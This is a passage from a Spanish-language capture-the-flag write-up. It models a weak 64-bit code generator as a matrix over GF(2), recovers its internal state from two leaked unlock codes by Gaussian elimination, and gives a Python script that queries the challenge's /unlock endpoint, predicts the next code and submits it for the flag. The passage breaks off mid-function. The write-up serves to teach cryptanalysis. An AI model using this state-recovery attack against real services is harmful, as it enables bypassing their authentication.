0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 \newline 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \newline \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \newline 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} \newline 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \end{pmatrix} $$
Si llamamos a esta matriz $A$, tenemos esta relación:
$$ \begin{pmatrix} n_{63} \newline n_{62} \newline \vdots \newline n_1 \newline n_0 \end{pmatrix} = A \cdot \begin{pmatrix} s_{63} \newline s_{62} \newline \vdots \newline s_1 \newline s_0 \end{pmatrix} $$
Donde $n$ es el siguiente state y $s$ es el state actual en una determinada iteración.
Podemos mejorar esta matriz sabiendo que el primer bit y el último de cada cuarteto son el mismo, por lo que $s_{63} = s_{60}$, $s_{59} = s_{56}$ hasta $s_3 = s_0$:
$$ \begin{pmatrix} 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} \newline 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \newline 0 0 \color{red}{1} \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \newline 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} \newline 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \end{pmatrix} $$
Nótese que estamos operando en el Cuerpo Finito de Galois de dimensión 2 (solamente tenemos 0 y 1). Por tanto, la suma es lo mismo que la operación XOR, y el producto es equivalente a la operación AND.
Vamos a recordar cómo se calcula ret (el código evolutivo que necesitamos para obtener la flag):
ret = 0
for _ in range(26):
ret <<= 1
ret |= state & 1
# Changes in state
Está formado por el bit menos significativo de state en cada iteración. Por tanto, necesitamos la última fila de las matrices $I, A, A^2, A^3, \dots, A^{24}, A^{25}$, que están relacionadas con el último bit del state actual de cada iteración.
La idea es resolver un sistema de ecuaciones de manera que podamos obtener el state actual. Con un código evolutivo, tenemos 26 ecuaciones (ya que el código tiene 26 bits). Aunque state tiene 64 bits, hemos demostrado que por cada cuatro bits, hay dos que tienen el mismo valor (de aquí se sacan 16 ecuaciones). Por tanto, tenemos 48 incógnitas. Luego, para resolver el sistema para un state completo, necesitamos dos códigos evolutivos. Habrá que concatenar estos dos códigos evolutivos y calcular la última fila de las matrices $A^0$ hasta $A^{47}$.
Estas serán algunas de las ecuaciones del sistema que necesitamos resolver (donde $s$ es el state y $r$ y $t$ son los dos códigos evolutivos ret):
$$ \begin{cases} s_{63} + s_{60} & = & 0 \newline s_{59} + s_{56} & = & 0 \newline \dots & = & 0 \newline s_3 + s_0 & = & 0 \newline s_0 & = & r_{25} \newline s_{61} + s_2 & = & r_{24} \newline \dots & = & \dots \newline \dots & = & r_0 \newline \dots & = & t_{25} \newline \dots & = & \dots \newline \dots & = & t_5 \newline \dots & = & t_4 \newline \end{cases} $$
Este sistema de ecuaciones puede ser expresado en forma matricial como se muestra a continuación:
$$ M \cdot \begin{pmatrix} s_{63} \newline \dots \newline s_0 \end{pmatrix} = \begin{pmatrix} 0 \newline \overset{(16)}{\dots} \newline 0 \newline r_{25} \newline \dots \newline r_0 \newline t_{25} \newline \dots \newline t_5 \newline t_4 \end{pmatrix} $$
Donde las filas de $M$ son las 16 primeras ecuaciones en forma matricial y la última fila de las matrices $I, A, A^2, A^3, \dots, A^{47}$.
Para resolver el sistema de ecuaciones, podemos utilizar eliminación Gaussiana sobre el Cuerpo Finito de Galois de dimensión 2 ($\mathbb{F}_2$):
def gauss_elim(x_mat, b_mat):
aug_mat = add_column(x_mat, b_mat)
for j in range(len(x_mat)):
for i in range(j + 1, len(x_mat)):
if aug_mat[i][j]:
aug_mat[i], aug_mat[j] = aug_mat[j].copy(), aug_mat[i].copy()
break
for i in range(j + 1, len(x_mat)):
if aug_mat[i][j]:
aug_mat[i] = [a ^ b for a, b in zip(aug_mat[i], aug_mat[j])]
for j in range(len(x_mat) - 1, 0, -1):
for i in range(j - 1, -1, -1):
if aug_mat[i][j]:
aug_mat[i] = [a ^ b for a, b in zip(aug_mat[i], aug_mat[j])]
return [r[-1] for r in aug_mat]
El algoritmo de eliminación Gaussiana es bastante conocido, por lo que no cabe explicación (lo único que hay que tener en cuenta es que estamos en $\mathbb{F}_2$). Otra manera de resolver el sistema es calculando la inversa de $M$ en $\mathbb{F}_2$, que se puede realizar con SageMath.
De todas maneras, desarrollé un script en Python para resolver esta parte del reto automáticamente:
import re
import requests
import sys
# Functions and global variables
url = sys.argv[1]
def get_code():
r = requests.post(f'{url}/unlock', {'code': 1})
return int(re.findall(r'(\d+)', r.text)[0])
def main():
global state
code1 = get_code()
code2 = get_code()
codes = ('0' * 16 + f'{code1:026b}' + f'{code2:026b}')[:64]
codes_vector = list(map(int, list(codes)))
comp_state = gauss_elim(ret_mat, codes_vector)
state = int(''.join(map(str, comp_state)), 2)
next(26)
next(26)
code3 = next(26)
r = requests.post(f'{url}/unlock', {'code': code3})
print(r.text)
if __name__ == '__main__':
main()
Estas funciones toman dos códigos evolutivos del mensaje de error que aparece en la página web y se utilizan para calcular el estado (comp_state), y después calcular el tercer código evolutivo para intentar desbloquear la página y obtener la flag.
La variable ret_mat es la matriz $M$, que se calcula como sigue:
state_mat_initial = [...]
ret_mat = []
for i in range(16):
ret_mat.append(list(map(int, list(f'{9 << (4 * i):064b}'))))
state_mat = [[int(i == j) for j in range(64)] for i in range(64)]
for _ in range(48):
ret_mat.append(state_mat[-1])
state_mat = multiply_matrix(state_mat, state_mat_initial)
Donde state_mat_initial es la matriz $A$ mejorada.
También hay funciones para realizar operaciones en $\mathbb{F}_2$. De nuevo, los algoritmos son bastante conocidos:
def multiply_vector(x_mat, y_vector):
z_vector = [0 for _ in range(len(x_mat))]
for i in range(len(x_mat)):
for k in range(len(y_vector)):
z_vector[i] ^= x_mat[i][k] & y_vector[k]
return z_vector
def multiply_matrix(x_mat, y_mat):
if type(y_mat[0]) == int:
return multiply_vector(x_mat, y_mat)
z_mat = [[0 for _ in range(len(y_mat[0]))] for _ in range(len(x_mat))]
for i in range(len(x_mat)):
for j in range(len(y_mat[i])):
for k in range(len(y_mat)):
